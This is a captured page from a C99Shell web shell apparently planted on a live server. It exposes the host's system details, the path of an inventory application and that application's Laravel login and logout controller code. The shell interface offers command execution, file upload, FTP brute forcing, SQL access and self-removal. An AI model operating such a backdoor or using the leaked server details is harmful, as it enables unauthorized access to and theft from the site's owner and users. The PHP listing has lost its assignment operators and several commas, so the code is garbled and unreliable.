!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.15 GB of 117.98 GB (24.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuthController.php (1.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace App\Http\Controllers;

use 
App\Http\Controllers\BaseController;
use 
App\Models\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;

class 
AuthController extends BaseController
{

    
//--------------- Function Login ----------------\\

    
public function getAccessToken(Request $request)
    {
        
$request->validate([
            
'email' => 'required',
            
'password' => 'required',
        ]);

        
$credentials request(['email''password']);

        if (
Auth::attempt($credentials)) {
            
$userStatus Auth::User()->statut;
            if (
$userStatus === 0) {
                return 
response()->json([
                    
'message' => 'This user not active',
                    
'status' => 'NotActive',
                ]);
            }

        } else {
            return 
response()->json([
                
'message' => 'Incorrect Login',
                
'status' => false,
            ]);
        }

        
$user auth()->user();
        
$tokenResult $user->createToken('Access Token');
        
$token $tokenResult->token;
        
$this->setCookie('Stocky_token'$tokenResult->accessToken);

        return 
response()->json([
            
'Stocky_token' => $tokenResult->accessToken'username' => Auth::User()->username
            
'avatar' => Auth::User()->avatar'status' => true,
        ]);
    }

    
//--------------- Function Logout ----------------\\

    
public function logout()
    {
        if (
Auth::check()) {
            
$user Auth::user()->token();
            
$user->revoke();
            
$this->destroyCookie('Stocky_token');
            return 
response()->json('success');
        }

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0029 ]--